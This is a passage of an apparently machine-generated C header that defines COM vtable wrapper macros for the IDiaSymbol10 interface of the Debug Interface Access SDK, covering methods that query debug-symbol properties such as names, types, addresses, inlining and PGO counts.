\ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol10_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol10_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol10_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol10_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol10_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol10_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol10_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol10_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol10_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol10_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol10_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol10_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol10_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol10_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol10_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol10_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol10_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol10_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol10_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol10_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol10_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol10_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol10_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol10_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol10_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol10_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol10_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol10_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol10_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol10_get_unused(This,pRetVal) \ ( (This)->lpVtbl -> get_unused(This,pRetVal) ) #define IDiaSymbol10_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol10_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol10_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol10_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol10_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol10_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol10_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol10_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol10_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol10_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol10_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol10_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol10_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol10_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol10_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol10_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol10_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol10_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol10_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol10_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol10_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol10_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol10_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol10_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol10_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol10_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol10_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol10_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol10_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol10_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define IDiaSymbol10_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol10_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol10_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol10_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol10_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol10_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol10_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define IDiaSymbol10_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol10_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol10_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) #define IDiaSymbol10_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol10_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol10_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol10_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol10_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol10_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol10_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol10_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol10_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol10_get_dataBytes(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol10_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol10_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol10_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol10_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol10_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol10_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol10_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol10_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol10_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol10_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol10_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol10_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol10_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol10_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol10_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol10_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol10_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol10_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol10_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol10_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol10_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol10_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol10_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol10_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol10_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol10_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol10_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol10_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol10_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol10_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol10_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol10_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol10_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol10_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol10_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol10_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol10_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol10_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol10_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol10_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol10_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol10_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol10_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol10_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol10_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol10_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol10_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol10_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol10_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol10_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol10_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol10_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol10_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol10_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol10_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol10_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol10_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol10_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol10_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol10_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol10_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol10_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol10_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol10_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol10_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define IDiaSymbol10_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol10_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol10_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol10_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol10_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol10_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol10_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol10_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol10_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol10_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol10_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol10_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol10_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol10_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol10_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol10_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol10_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol10_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol10_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol10_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol10_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol10_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol10_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol10_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol10_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol10_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol10_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol10_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol10_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol10_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol10_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol10_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol10_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol10_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol10_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol10_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol10_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol10_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol10_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol10_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol10_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol10_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define IDiaSymbol10_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol10_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol10_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol10_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) #define IDiaSymbol10_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol10_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol10_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol10_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol10_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol10_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol10_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol10_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol10_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol10_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol10_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol10_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol10_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol10_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol10_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol10_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol10_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol10_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol10_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol10_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol10_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol10_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol10_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol10_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol10_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol10_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol10_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol10_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol10_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol10_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol10_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol10_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol10_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol10_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol10_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> 